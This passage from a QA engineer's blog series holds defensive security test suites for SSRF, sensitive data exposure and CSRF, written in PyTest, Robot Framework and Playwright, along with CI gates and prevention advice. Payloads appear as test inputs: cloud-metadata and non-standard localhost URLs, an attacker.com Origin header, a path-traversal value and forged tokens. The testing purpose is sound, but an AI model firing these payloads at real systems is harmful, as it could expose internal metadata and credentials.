  'ami-id', 'instance-id', 'computeMetadata',
  'access_key', 'secret_access_key', 'security-credentials',
];

let apiContext: APIRequestContext;

test.beforeAll(async ({ playwright }) => {
  apiContext = await playwright.request.newContext({
    baseURL: 'https://your-app.com',
  });
  await apiContext.post('/login', {
    data: { username: 'testuser', password: 'test_password' }
  });
});

test.afterAll(async () => {
  await apiContext.dispose();
});

for (const payload of SSRF_PAYLOADS.cloudMetadata) {
  test(`SSRF — cloud metadata rejected: ${payload}`, async () => {
    const response = await apiContext.post('/api/fetch-url', {
      data: { url: payload }
    });

    expect(
      [400, 403, 422],
      `Cloud metadata payload not rejected: ${payload}`
    ).toContain(response.status());

    const body = await response.text();
    for (const marker of METADATA_MARKERS) {
      expect(body, `Metadata marker '${marker}' found for: ${payload}`)
        .not.toContain(marker);
    }
  });
}

for (const payload of SSRF_PAYLOADS.localhostVariants) {
  test(`SSRF — localhost variant rejected: ${payload}`, async () => {
    const response = await apiContext.post('/api/fetch-url', {
      data: { url: payload }
    });
    expect(
      [400, 403, 422],
      `Localhost variant not rejected: ${payload}`
    ).toContain(response.status());
  });
}

for (const payload of SSRF_PAYLOADS.cve202429415Bypasses) {
  test(`SSRF — CVE-2024-29415 bypass rejected: ${payload}`, async () => {
    // non-standard IP formats that bypass naive isPublic() checks
    const response = await apiContext.post('/api/fetch-url', {
      data: { url: payload }
    });
    expect(
      [400, 403, 422],
      `CVE-2024-29415 bypass not blocked: ${payload}`
    ).toContain(response.status());
  });
}

for (const payload of SSRF_PAYLOADS.internalRanges) {
  test(`SSRF — internal range rejected: ${payload}`, async () => {
    const response = await apiContext.post('/api/fetch-url', {
      data: { url: payload }
    });
    expect(
      [400, 403, 422],
      `Internal range not rejected: ${payload}`
    ).toContain(response.status());
  });
}

test('SSRF — valid external URL still works', async () => {
  // confirm SSRF protection does not break legitimate requests
  const response = await apiContext.post('/api/fetch-url', {
    data: { url: 'https://httpbin.org/get' }
  });
  expect(response.status()).toBe(200);
});

Run SSRF tests in isolation:

npx playwright test --grep "SSRF"

CI/CD gate

ssrf-security-tests:
  stage: test
  script:
    - pytest tests/security/test_ssrf.py -v
    - npx playwright test --grep "SSRF"
  rules:
    - if: '$CI_PIPELINE_SOURCE == "merge_request_event"'
  allow_failure: false

Pair with a Semgrep rule that flags calls to requests.get(), fetch(), or axios.get() where the URL argument derives from user input without a preceding allowlist check. The static check catches new vulnerable patterns before they reach the test environment.

Environment note

SSRF behavior changes significantly between local development and cloud deployment. A test that passes locally because the development environment has no metadata service may completely miss that the same request succeeds in production against http://169.254.169.254/.

Run your SSRF payload suite against an environment that mirrors the cloud infrastructure, ideally one where the metadata service is reachable so a successful bypass is caught as a test failure rather than silently passing.

If you run on Kubernetes, also test against internal service DNS names resolvable from within the cluster, since SSRF in a Kubernetes environment can expose the API server and other cluster-internal services.

Why AI fails here

When a team asks GitHub Copilot to write tests for a URL-fetching endpoint, it writes tests that submit a valid external URL and assert that content is returned correctly. The SSRF protection layer is never exercised because the test inputs are exactly what the protection was never designed to intercept.

The structural reason LLMs fail at SSRF: the vulnerability exists in the relationship between the feature and the infrastructure around it.
Testing for SSRF requires knowing that http://169.254.169.254/ is significant, that http://127.1/ resolves to loopback, and that a cloud server's network context gives it access to resources an internet client cannot reach. This context does not come from the code being tested. It comes from understanding the deployment environment, the cloud provider's architecture, and the history of SSRF bypass techniques.

The concrete failure: a team builds a webhook delivery system that validates the destination URL before sending. They use ip.isPublic() as the guard. Copilot generates twelve tests. All pass. The tests submit valid external domains and assert they are accepted. The tests submit obvious private addresses like http://192.168.1.1/ and assert they are rejected. Three months after release, a penetration tester submits http://127.1/admin as the webhook URL. isPublic("127.1") returns true. The server makes the request. The tester receives the internal admin panel response. The Copilot suite had zero tests for non-standard IP representations.

How to prevent

1. Allowlist of permitted outbound destinations — define the specific external domains or IP ranges your application legitimately needs to reach in each feature and permit only those. Every other destination is rejected before any network request is made. An allowlist does not need to enumerate all possible attack representations. If the destination is not explicitly permitted, it is rejected by default.

2. Post-resolution IP validation — after resolving a user supplied hostname to its canonical IP address, check the resolved IP against forbidden ranges using a hardened library that handles all standard and non-standard representations. This catches DNS rebinding attacks because the check happens on the resolved IP, not the original hostname. It catches encoding bypass attacks because the resolved IP is always in standard dotted-decimal notation after resolution.

3. Network-level defense in depth — configure your deployment infrastructure so that application servers running user-facing features cannot reach the cloud metadata service, internal database ports, or Kubernetes API server even if application-level SSRF protection fails. On AWS, use IMDSv2 to prevent unauthenticated metadata retrieval. Apply security group rules that explicitly deny outbound connections from application servers to internal service ranges.

Prevention only works when the SSRF payload suite verifies it under adversarial inputs, including the non-standard IP representations that bypass naive checks. A validation function that blocks 127.0.0.1 but allows 127.1 is not a validation function. The test suite is the only way to know the difference.

Conclusion

SSRF in those environments is not a theoretical finding. It is the vector that collapses the boundary between the public internet and internal control plane infrastructure.

The consistent pattern across every system I have tested: developers did not fail to implement SSRF protection. They implemented it using blocklists, trusted library functions without testing edge cases, and never generated the adversarial payloads that would have revealed the gaps.

Writing a test that submits http://127.1/ takes thirty seconds. Not writing it costs you the metadata service.

Part of the Break It on Purpose series, published weekly for QA
engineers and SDETs who find bugs before attackers do.

Sensitive Data Exposure - The Bug That Looks Like a Feature Working Correctly

Yuriy Safronnynov — Mon, 20 Apr 2026 18:48:57 +0000

The API response came back 200. The data was correct. The test passed.

Nobody noticed the response body also contained the user's hashed
password, their internal account ID, a debug flag set to true, and a
field called admin_notes that was never meant to leave the server.

Sensitive Data Exposure does not look like an attack. It looks like a
feature working correctly.

TL;DR

Sensitive Data Exposure happens when an application transmits, stores, or returns protected data without adequate controls. No exploit required. The data is simply available.
CVE-2024-25124 in Gofiber Fiber allowed any origin to make credentialed requests due to a wildcard CORS misconfiguration. CVSS 9.4 Critical.
Your suite checks that the right user gets the right data. It almost never checks what headers protect that data, what leaks in error responses, or what extra fields slip through the serializer.
Three attack surfaces: data in transit (TLS, CORS headers), data at rest (logs, error messages), data in API responses (over-fetching, debug fields left in serializers).
AI tools generate functional tests. They never generate a test that fails when a response contains a field it should not.

What it is

Sensitive Data Exposure covers a wide class of failures: data transmitted over unencrypted connections, credentials stored in plaintext, PII returned in API responses, stack traces sent to clients in error messages, secrets committed to logs, and configuration details exposed through misconfigured headers.

The thread connecting all of them: the data should be protected and it is not.

Developers introduce this in several ways, none of them malicious. A serializer that returns the full database model instead of a curated DTO. An error handler that forwards exception details to the client
for debugging convenience and never gets hardened before production. A CORS configuration set to permissive defaults during development and shipped as-is.

In code review this is nearly impossible to spot without a specific checklist. The serializer returns data. The error handler returns a message. The CORS header is present. Everything looks like it is working.

The question nobody asked: should this data actually be leaving the system in this form?

Real world damage

CVE-2024-25124 · Gofiber Fiber · February 2024 · CVSS 9.4 (Critical)

In February 2024, a critical vulnerability was disclosed in the CORS middleware of Gofiber Fiber, a widely used Go web framework. The flaw allowed developers to configure the middleware with a wildcard origin (Access-Control-Allow-Origin: *) while simultaneously enabling Access-Control-Allow-Credentials: true.

This combination is explicitly prohibited by the CORS specification. It allows any website on the internet to make credentialed requests to the affected application and read the response. Sensitive user data, session tokens, and authenticated API responses could be accessed by attacker-controlled pages without the victim knowing.

No credentials required from the attacker. No exploit chain. Just a misconfiguration the framework permitted and many developers shipped without realizing.

Source: [GitHub Advisory GHSA-fmg4-x8pw-hjhg (https://github.com/advisories/GHSA-fmg4-x8pw-hjhg)
and NVD CVE-2024-25124.
Affected versions: Fiber prior to 2.52.1. Fixed in 2.52.1.

A QA engineer running response header validation tests against any authenticated endpoint would have caught this. The test is not complex: send a credentialed cross-origin request, assert that Access-Control-Allow-Origin does not contain a wildcard. That test did not exist. The misconfiguration was in the framework default. Teams inherited it without knowing.

The invisible bug problem

Test suites validate that data is correct. Not that data is minimal.

When you assert that GET /users/123 returns the right name and email, you are not asserting that it does not also contain a password hash, an internal flag, or a field your serializer included because nobody removed it.

Happy-path tests confirm the presence of expected data. Nobody writes a test that fails when unexpected data appears. That gap is where sensitive data exposure lives — entirely invisible to a suite that is otherwise fully green.

Every response has two contracts:

What it must contain
What it must not contain

Your suite almost certainly verifies the first. It needs to verify the second.

How QA engineers catch it

PyTest

import pytest
import requests
import jsonschema

BASE_URL = "https://your-app.com"

FORBIDDEN_FIELDS = {
    "password", "password_hash", "token", "secret",
    "api_key", "internal_id", "debug", "admin_notes",
    "stack", "trace", "last_login_ip"
}

ALLOWED_USER_FIELDS = {"id", "name", "email", "created_at"}

@pytest.fixture
def auth_session():
    session = requests.Session()
    session.post(f"{BASE_URL}/login", json={
        "username": "testuser",
        "password": "test_password"
    })
    return session

def test_user_response_contains_no_forbidden_fields(auth_session):
    # CVE-2024-25124 pattern: assert what must NOT be in the response
    response = auth_session.get(f"{BASE_URL}/users/123")
    body = response.json()

    exposed = FORBIDDEN_FIELDS.intersection(body.keys())
    assert not exposed, f"Sensitive fields exposed in response: {exposed}"

def test_user_response_schema_allowlist(auth_session):
    # any field outside the allowlist is a contract violation
    response = auth_session.get(f"{BASE_URL}/users/123")
    body = response.json()

    unexpected = set(body.keys()) - ALLOWED_USER_FIELDS
    assert not unexpected, f"Unexpected fields in response: {unexpected}"

def test_error_response_contains_no_stack_trace(auth_session):
    # deliberately trigger a server error
    response = auth_session.get(f"{BASE_URL}/users/invalid-id-trigger-500")
    body = response.text

    forbidden_strings = ["Traceback", "at line", "Exception", 
                        "File \"", "django", "sqlalchemy", 
                        "psycopg2", "pymongo"]
    for s in forbidden_strings:
        assert s not in body, f"Stack trace marker '{s}' found in error response"

def test_cors_no_wildcard_on_authenticated_endpoint(auth_session):
    # CVE-2024-25124: wildcard + credentials = any origin reads response
    response = auth_session.get(
        f"{BASE_URL}/users/123",
        headers={"Origin": "https://attacker.com"}
    )
    acao = response.headers.get("Access-Control-Allow-Origin", "")
    assert acao != "*", "Wildcard CORS on authenticated endpoint exposes data"

def test_security_headers_present(auth_session):
    response = auth_session.get(f"{BASE_URL}/users/123")

    assert "X-Powered-By" not in response.headers, \
        "X-Powered-By header discloses server technology"
    assert response.headers.get("X-Content-Type-Options") == "nosniff"
    assert "Secure" in response.headers.get("Set-Cookie", ""), \
        "Session cookie missing Secure flag"
    assert "HttpOnly" in response.headers.get("Set-Cookie", ""), \
        "Session cookie missing HttpOnly flag"

Robot Framework

*** Settings ***
Library    RequestsLibrary
Library    Collections
Library    String

*** Variables ***
${BASE_URL}         https://your-app.com
@{FORBIDDEN}        password    password_hash    token    secret
...                 api_key    internal_id    debug    admin_notes
...                 stack    trace    last_login_ip
@{ALLOWED_FIELDS}   id    name    email    created_at

*** Test Cases ***
User Response Contains No Forbidden Fields
    # CVE-2024-25124 pattern: assert absence of sensitive fields
    Create Session    app    ${BASE_URL}
    ${response}=    GET On Session    app    /users/123
    ${body}=    Set Variable    ${response.json()}
    FOR    ${field}    IN    @{FORBIDDEN}
        Dictionary Should Not Contain Key    ${body}    ${field}
        ...    msg=Sensitive field '${field}' exposed in response
    END

User Response Schema Allowlist Enforced
    Create Session    app    ${BASE_URL}
    ${response}=    GET On Session    app    /users/123
    ${body}=    Set Variable    ${response.json()}
    ${keys}=    Get Dictionary Keys    ${body}
    FOR    ${key}    IN    @{keys}
        Should Contain    ${ALLOWED_FIELDS}    ${key}
        ...    msg=Unexpected field '${key}' found in response
    END

Error Response Contains No Stack Trace
    Create Session    app    ${BASE_URL}
    ${response}=    GET On Session    app    /users/invalid-id-trigger-500
    ...    expected_status=any
    ${body}=    Set Variable    ${response.text}
    Should Not Contain    ${body}    Traceback
    Should Not Contain    ${body}    at line
    Should Not Contain    ${body}    Exception
    Should Not Contain    ${body}    File "
    Should Not Contain    ${body}    sqlalchemy
    Should Not Contain    ${body}    psycopg2

CORS No Wildcard On Authenticated Endpoint
    # CVE-2024-25124: wildcard origin + credentials = data exposed
    ${headers}=    Create Dictionary    Origin=https://attacker.com
    Create Session    app    ${BASE_URL}
    ${response}=    GET On Session    app    /users/123    headers=${headers}
    ${acao}=    Get From Dictionary    ${response.headers}
    ...    Access-Control-Allow-Origin    default=${EMPTY}
    Should Not Be Equal    ${acao}    *
    ...    msg=Wildcard CORS on authenticated endpoint exposes data

Security Headers Present And Disclosure Headers Absent
    Create Session    app    ${BASE_URL}
    ${response}=    GET On Session    app    /users/123
    Dictionary Should Not Contain Key    ${response.headers}    X-Powered-By
    Dictionary Should Not Contain Key    ${response.headers}    Server
    ${xcto}=    Get From Dictionary    ${response.headers}
    ...    X-Content-Type-Options    default=${EMPTY}
    Should Be Equal    ${xcto}    nosniff

TypeScript — Playwright API testing

import { test, expect, APIRequestContext } from '@playwright/test';

const FORBIDDEN_FIELDS = [
  'password', 'password_hash', 'token', 'secret',
  'api_key', 'internal_id', 'debug', 'admin_notes',
  'stack', 'trace', 'last_login_ip'
];

const ALLOWED_USER_FIELDS = new Set(['id', 'name', 'email', 'created_at']);

const STACK_TRACE_MARKERS = [
  'Traceback', 'at line', 'Exception', 'File "',
  'django', 'sqlalchemy', 'psycopg2', 'pymongo'
];

let apiContext: APIRequestContext;

test.beforeAll(async ({ playwright }) => {
  apiContext = await playwright.request.newContext({
    baseURL: 'https://your-app.com',
  });

  await apiContext.post('/login', {
    data: { username: 'testuser', password: 'test_password' }
  });
});

test.afterAll(async () => {
  await apiContext.dispose();
});

test('user response — no forbidden fields exposed', async () => {
  // CVE-2024-25124 pattern: assert what must NOT be in the response
  const response = await apiContext.get('/users/123');
  const body = await response.json();

  const exposed = FORBIDDEN_FIELDS.filter(field => field in body);
  expect(exposed, `Sensitive fields exposed: ${exposed.join(', ')}`).toHaveLength(0);
});

test('user response — schema allowlist enforced', async () => {
  // any field outside the allowlist is a contract violation
  const response = await apiContext.get('/users/123');
  const body = await response.json();

  const unexpected = Object.keys(body).filter(key => !ALLOWED_USER_FIELDS.has(key));
  expect(unexpected, `Unexpected fields in response: ${unexpected.join(', ')}`).toHaveLength(0);
});

test('error response — no stack trace in body', async () => {
  // deliberately trigger a server error, assert clean generic message
  const response = await apiContext.get('/users/invalid-id-trigger-500');
  const body = await response.text();

  for (const marker of STACK_TRACE_MARKERS) {
    expect(body, `Stack trace marker '${marker}' found in error response`)
      .not.toContain(marker);
  }
});

test('CORS — no wildcard origin on authenticated endpoint', async () => {
  // CVE-2024-25124: wildcard + credentials = any origin reads response
  const response = await apiContext.get('/users/123', {
    headers: { 'Origin': 'https://attacker.com' }
  });

  const acao = response.headers()['access-control-allow-origin'] ?? '';
  expect(acao, 'Wildcard CORS on authenticated endpoint exposes data')
    .not.toBe('*');
});

test('security headers — disclosure headers absent', async () => {
  const response = await apiContext.get('/users/123');
  const headers = response.headers();

  expect(headers['x-powered-by'], 'X-Powered-By discloses server technology')
    .toBeUndefined();
  expect(headers['x-content-type-options']).toBe('nosniff');
});

test('session cookie — Secure and HttpOnly flags present', async () => {
  const response = await apiContext.post('/login', {
    data: { username: 'testuser', password: 'test_password' }
  });

  const setCookie = response.headers()['set-cookie'] ?? '';
  expect(setCookie, 'Session cookie missing Secure flag').toContain('Secure');
  expect(setCookie, 'Session cookie missing HttpOnly flag').toContain('HttpOnly');
});

Run data exposure tests in isolation:

npx playwright test --grep "CORS|schema|forbidden|stack trace|cookie"

CI/CD gate

sensitive-data-exposure-tests:
  stage: test
  script:
    - pytest tests/security/test_data_exposure.py -v
    - npx playwright test --grep "CORS|schema|forbidden"
  rules:
    - if: '$CI_PIPELINE_SOURCE == "merge_request_event"'
  allow_failure: false

Pair with a Semgrep rule that flags direct model serialization without a DTO layer — the static check catches the pattern before deployment, the runtime tests confirm enforcement in the running application.

Environment note

Sensitive data exposure behaves differently across environments because debug settings change between development and production. A stack trace that appears in staging because DEBUG=True never makes it to production if someone remembered to flip the flag — but the test only ran in staging, so the gap is invisible.

Always run response content validation tests against a production-mirrored environment with debug mode explicitly disabled.

🔬 Practice this yourself: yuriysafron.com/qa-sandbox

Why AI fails here

When a team asks GitHub Copilot to write tests for a user profile endpoint, it writes tests that assert the response contains the correct name, email, and profile fields. The tests pass. The suite is green.

Nobody generated a test that asserts the response does not also contain password_hash, internal_user_id, or a debug object left in the serializer six months ago.

The structural reason LLMs fail at this class: sensitive data exposure is defined by what should not be present, not by what should. LLMs generate tests by modeling the expected output of a function. They do not model the set of all outputs that would constitute a violation.

Testing for absence requires knowing the full allowlist of permitted data — a design decision that lives outside the code itself. No amount of reading the handler implementation tells you that the password field should never appear in the response, because that information lives in a compliance document or a threat model, not in the source code.

The concrete failure: a team builds a user management API. Copilot generates a full test suite. Every endpoint is covered. Three months after launch, a security researcher reports that GET /users/:id returns a hashed password and a last_login_ip field. The AI generated suite asserted the name and email were correct. It never asserted those two fields were absent. The data had been in every response since the first deployment. No test had ever looked for it.

How to prevent

1. Response allowlist at the serialization layer - every API response must pass through a DTO that explicitly enumerates the fields allowed in the output. Nothing from the underlying domain model reaches the client unless it was deliberately placed in the DTO. Making implicit serialization impossible in your framework configuration means returning a raw model object is a runtime error, not a silent data leak.

2. Error response hardening — error handlers must return a generic message. Stack traces, exception class names, file paths, database driver information, and ORM query strings must never reach the client. This must be tested explicitly in CI against a production-mirrored environment with debug mode disabled.

3. Header security as a pipeline gate — every deployment must pass a header check that validates required security headers and the absence of disclosure headers. CORS headers must be validated against a known allowlist of permitted origins for every authenticated endpoint. This runs as a blocking post-deployment check, not a manual review before release.

Prevention only works when it is tested. A DTO layer that exists is not the same as a DTO layer that is verified to contain only the fields it should. The test suite is the enforcement mechanism. Without it, the prevention is a convention, not a guarantee.

Conclusion

Working on a cybersecurity platform protecting U.S. critical infrastructure and multiple branches of the U.S. military sharpens your sense of what "sensitive" means in practice. In those environments, a leaked internal ID is not a minor finding. It is reconnaissance.

Sensitive Data Exposure separates teams who think about what their API must return from teams who think only about what their API must do. The second group ships data they never intended to expose.

Always in a field nobody thought to look for. Always in a response that was otherwise working perfectly.

When did your team last audit your API responses for fields that should not be there and do you have a test that would catch a new one being added tomorrow?

Part of the **Break It on Purpose* series, published weekly for QA
engineers and SDETs who find bugs before attackers do.*

🔬 Practice sandbox: yuriysafron.com/qa-sandbox

🔗 linkedin.com/in/yuriy-safronnynov

CSRF. The Bug That Looks Like Legitimate Traffic

Yuriy Safronnynov — Sun, 12 Apr 2026 14:00:00 +0000

Your admin panel processes a state-changing request. The user is authenticated. The session cookie is valid. The server accepts it. The attacker wins.

This is not a dramatic exploit. It is the server doing its job, faithfully executing a request it was never supposed to accept, because nobody thought to ask where the request actually came from.

TL;DR

CSRF lets an attacker forge authenticated requests from a victim's browser. The server sees a valid session and executes the action.
CVE-2024-1538 exposed over 1 million WordPress sites via missing nonce validation. CVSS 8.8. Patched in File Manager 7.2.5.
Happy-path tests never catch this. You have to explicitly test the rejection path: missing token, invalid token, no state mutation.
Three layers of prevention: synchronizer tokens at middleware level, SameSite cookie attributes, Origin header validation.
AI-generated test suites create false confidence here. They test the correct flow, not the forged one.

What it is

Cross-Site Request Forgery tricks an authenticated user's browser into sending a request to your application on behalf of an attacker. The browser does what browsers do: it automatically attaches session cookies to every request. The server sees a valid cookie and processes the request. The user never saw the form that submitted it.

The technical condition that makes this possible: HTTP cookies are sent automatically on every matching request regardless of origin. If your server does not verify that a state-changing request came from your own application, any page on the web can forge one.

Developers introduce this without malice. They build the happy path, test the happy path, and ship the happy path. Cross-origin validation is not something most developers think about while building a file rename feature. In code review, reviewers look for logic errors, but never for the presence of CSRF tokens on every mutating endpoint.

The attack surface is the assumption that authenticated means authorized-to-have-submitted-this-form.

Real world damage

CVE-2024-1538 · WordPress File Manager · March 2024 · CVSS 8.8

In March 2024, a CSRF vulnerability was disclosed in the WordPress File Manager plugin, active on over 1 million websites. The flaw stemmed from missing nonce validation on the wp_file_manager page when handling the lang parameter.

An attacker could trick an authenticated administrator into clicking a crafted link, which would include a local JavaScript file into the application and open the door to remote code execution.

No credentials required. No brute force. Only a logged-in admin who
clicked something.

Source: NVD CVE-2024-1538,
published March 21, 2024. Affected all versions up to 7.2.4.
Patched in 7.2.5. Credit: Wordfence for responsible disclosure.

A QA engineer running cross-origin state-change tests before 7.2.5
would have caught this. The test is not complex: submit a mutating
request with a missing or incorrect nonce and assert the server rejects it. That test did not exist. The vulnerability shipped to a million sites.

The invisible bug problem

Happy-path tests authenticate as a real user and send requests exactly as the application intends. That is the problem.
CSRF is not about whether the endpoint works correctly for a legitimate request. It is about whether the server validates that the request is legitimate at all.

Your test suite exercises the authenticated user path and passes. The attack exploits the same path from an external origin and also passes, from the server's perspective.

The bug only surfaces when the test asks a different question:

Does this endpoint accept a state-changing request that arrives
without a valid CSRF token?

Standard test suites never ask that. They test that the endpoint
responds correctly. They do not test that the endpoint refuses incorrectly.

How QA engineers catch it

The core principle: every state-changing endpoint must reject requests that arrive without a valid CSRF token. Your suite needs to verify the rejection path, not just the success path.

PyTest

import pytest
import requests

BASE_URL = "https://your-app.com"

@pytest.fixture
def auth_session():
    session = requests.Session()
    session.post(f"{BASE_URL}/login", json={
        "username": "admin",
        "password": "test_password"
    })
    return session

def test_csrf_empty_token_returns_403(auth_session):
    # CVE-2024-1538 pattern: missing nonce = server must reject
    response = auth_session.post(
        f"{BASE_URL}/admin/file/rename",
        json={"old_name": "file.txt", "new_name": "hacked.txt"},
        headers={"X-CSRF-Token": ""}
    )
    assert response.status_code == 403

def test_csrf_forged_token_returns_403(auth_session):
    # attacker-controlled token value must be rejected
    response = auth_session.post(
        f"{BASE_URL}/admin/file/rename",
        json={"old_name": "file.txt", "new_name": "hacked.txt"},
        headers={"X-CSRF-Token": "attacker-forged-token-abc123"}
    )
    assert response.status_code == 403

def test_csrf_no_state_mutation(auth_session):
    # 403 is necessary but not sufficient — assert state did not change
    auth_session.post(
        f"{BASE_URL}/admin/file/rename",
        json={"old_name": "file.txt", "new_name": "hacked.txt"},
        headers={"X-CSRF-Token": ""}
    )
    response = auth_session.get(f"{BASE_URL}/admin/files")
    files = response.json()["files"]

    assert "hacked.txt" not in files
    assert "file.txt" in files

A 403 status is necessary but not sufficient. If the server returns 403 but still processes the action, you have a different kind of bug.
Assert the state, not just the status.

Robot Framework

*** Settings ***
Library    RequestsLibrary

*** Variables ***
${BASE_URL}    https://your-app.com

*** Test Cases ***
CSRF Empty Token On File Rename Returns 403
    # CVE-2024-1538: missing nonce on file manager endpoint
    Create Session    app    ${BASE_URL}
    ${headers}=    Create Dictionary    X-CSRF-Token=${EMPTY}
    ${response}=    POST On Session    app    /admin/file/rename
    ...    json={"old_name": "file.txt", "new_name": "hacked.txt"}
    ...    headers=${headers}
    Should Be Equal As Strings    ${response.status_code}    403

CSRF Forged Token On File Rename Returns 403
    Create Session    app    ${BASE_URL}
    ${headers}=    Create Dictionary
    ...    X-CSRF-Token=attacker-forged-token-abc123
    ${response}=    POST On Session    app    /admin/file/rename
    ...    json={"old_name": "file.txt", "new_name": "hacked.txt"}
    ...    headers=${headers}
    Should Be Equal As Strings    ${response.status_code}    403

CSRF Missing Token On Lang Parameter Returns 403
    # mirrors exact CVE-2024-1538 attack surface:
    # lang parameter on wp_file_manager with no nonce validation
    Create Session    app    ${BASE_URL}
    ${headers}=    Create Dictionary    X-CSRF-Token=${EMPTY}
    ${response}=    POST On Session    app    /admin/file-manager
    ...    json={"lang": "../../../malicious.js"}
    ...    headers=${headers}
    Should Be Equal As Strings    ${response.status_code}    403

CSRF No State Mutation When Token Missing
    Create Session    app    ${BASE_URL}
    ${headers}=    Create Dictionary    X-CSRF-Token=${EMPTY}
    POST On Session    app    /admin/file/rename
    ...    json={"old_name": "file.txt", "new_name": "hacked.txt"}
    ...    headers=${headers}
    ${files_response}=    GET On Session    app    /admin/files
    Should Not Contain    ${files_response.json()["files"]}    hacked.txt
    Should Contain        ${files_response.json()["files"]}    file.txt

TypeScript — Playwright API testing

import { test, expect, APIRequestContext } from '@playwright/test';

let apiContext: APIRequestContext;

test.beforeAll(async ({ playwright }) => {
  apiContext = await playwright.request.newContext({
    baseURL: 'https://your-app.com',
  });

  // authenticate once, reuse session across all CSRF tests
  await apiContext.post('/login', {
    data: { username: 'admin', password: 'test_password' }
  });
});

test.afterAll(async () => {
  await apiContext.dispose();
});

test('CSRF — empty token on file rename returns 403', async () => {
  // CVE-2024-1538 pattern: missing nonce = server must reject
  const response = await apiContext.post('/admin/file/rename', {
    data: { old_name: 'file.txt', new_name: 'hacked.txt' },
    headers: { 'X-CSRF-Token': '' }
  });

  expect(response.status()).toBe(403);
});

test('CSRF — forged token on file rename returns 403', async () => {
  // attacker-controlled token value must be rejected
  const response = await apiContext.post('/admin/file/rename', {
    data: { old_name: 'file.txt', new_name: 'hacked.txt' },
    headers: { 'X-CSRF-Token': 'attacker-forged-token-abc123' }
  });

  expect(response.status()).toBe(403);
});

test('CSRF — missing token on lang parameter returns 403', async () => {
  // mirrors exact CVE-2024-1538 attack surface:
  // lang parameter on wp_file_manager page, no nonce validation
  const response = await apiContext.post('/admin/file-manager', {
    data: { lang: '../../../malicious.js' },
  });

  expect(response.status()).toBe(403);
});

test('CSRF — no state mutation when token is missing', async () => {
  await apiContext.post('/admin/file/rename', {
    data: { old_name: 'file.txt', new_name: 'hacked.txt' },
    headers: { 'X-CSRF-Token': '' }
  });

  // state must be unchanged — file must not have been renamed
  const files = await apiContext.get('/admin/files');
  const body = await files.json();

  expect(body.files).not.toContain('hacked.txt');
  expect(body.files).toContain('file.txt');
});

test('CSRF — valid token on file rename succeeds', async () => {
  // confirm the protection does not block legitimate requests
  const tokenResponse = await apiContext.get('/csrf-token');
  const { token } = await tokenResponse.json();

  const response = await apiContext.post('/admin/file/rename', {
    data: { old_name: 'file.txt', new_name: 'renamed.txt' },
    headers: { 'X-CSRF-Token': token }
  });

  expect(response.status()).toBe(200);
});

Run CSRF tests in isolation:

npx playwright test --grep "CSRF"

playwright.config.ts for CI:

import { defineConfig } from '@playwright/test';

export default defineConfig({
  testDir: './tests/security',
  use: {
    baseURL: process.env.APP_URL || 'https://your-app.com',
  },
  projects: [
    {
      name: 'csrf-security',
      testMatch: '**/csrf.spec.ts',
    }
  ]
});

CI/CD gate

These tests belong in GitLab CI as a blocking job on every merge
request — not an optional security scan that runs weekly.

csrf-security-tests:
  stage: test
  script:
    - pytest tests/security/test_csrf.py -v
    - npx playwright test --grep "CSRF"
  rules:
    - if: '$CI_PIPELINE_SOURCE == "merge_request_event"'
  allow_failure: false

A 200 response on a missing-token request is an unambiguous pipeline failure condition. Pair with a Semgrep static analysis job that scans for route handlers missing CSRF middleware — the static check catches the pattern before deployment, the runtime tests confirm enforcement in the running application.

Burp Suite

Before writing a single automated test, use Burp Suite to map your
attack surface. Intercept a legitimate authenticated request to an admin endpoint, strip the CSRF token from the headers, and replay it. If it returns 200, you have a confirmed finding. Ten minutes per endpoint tells you where the gaps are before you spend time automating.

Environment note

Running CSRF tests locally is not the same as running them against your full stack. Some CDN edge configurations strip custom headers, including your CSRF token, before the request reaches the application server. A request that correctly returns 403 locally may return 200 in staging because the CDN silently dropped the token. Always run your CSRF suite against an environment that mirrors the full production network path.

🔬 Practice this yourself: yuriysafron.com/qa-sandbox/csrf

Why AI fails here

When a team asks GitHub Copilot to generate CSRF tests, what they get is a test that logs in, submits a form with a valid token, and asserts a 200 response. The test passes. The team sees green and believes they have CSRF coverage.

They have a happy-path test with a CSRF token in it. That is not the same thing.

The structural reason LLMs cannot reason about this vulnerability class: CSRF is a relationship between origins, not a property of a single request.
LLMs generate tests in isolation. They model what a correct request looks like. They do not model what a forged request from an attacker-controlled page looks like.

The concrete failure: a team ships a new admin file management module. All AI-generated tests pass. A researcher finds CVE-2024-1538 class behavior three weeks after release. The rename endpoint accepts requests with no token at all. The AI-generated suite never submitted a request without a token. The bug was always there. The suite never asked the question that would have found it.

How to prevent

1. Synchronizer token pattern — implement at the middleware level across every state-changing endpoint. Framework-level enforcement means indvidual developers cannot accidentally skip validation on new endpoints. If each developer must remember to add the check manually, someone will forget. Put it in the middleware.

2. SameSite cookie attributes — SameSite=Strict or SameSite=Lax instructs the browser not to send cookies on cross-origin requests. Defense-in-depth, not a replacement for token validation. Older clients and certain redirect flows can bypass SameSite=Lax.

3. Origin and Referer header validation — the server checks that the Origin header matches its own domain. If it does not match, reject the request. Reliable secondary control when combined with the other two.

Prevention only works if your test suite actively verifies each of these controls is enforced. A token pattern that is implemented but never tested is a token pattern that someone will quietly remove in a refactor and you will not know until production.

Conclusion

Working on a cybersecurity platform protecting U.S. critical
infrastructure and multiple branches of the U.S. military gives you a specific perspective on what a missed test actually costs.

CSRF is not an academic edge case in that environment. It is the kind of gap that ends careers and makes headlines.

The tests that matter most are never the ones that verify the feature works. They are the ones that verify the system refuses to do the wrong thing. CSRF lives exactly in that gap and most teams have never written a test that looks for it.

Which endpoint in your current system would fail this test right now?

Part of the **Break It on Purpose* series - published weekly for QA engineers and SDETs who find bugs before attackers do.*

🔬 Practice sandbox: yuriysafron.com/qa-sandbox

🔗 linkedin.com/in/yuriysafronnynov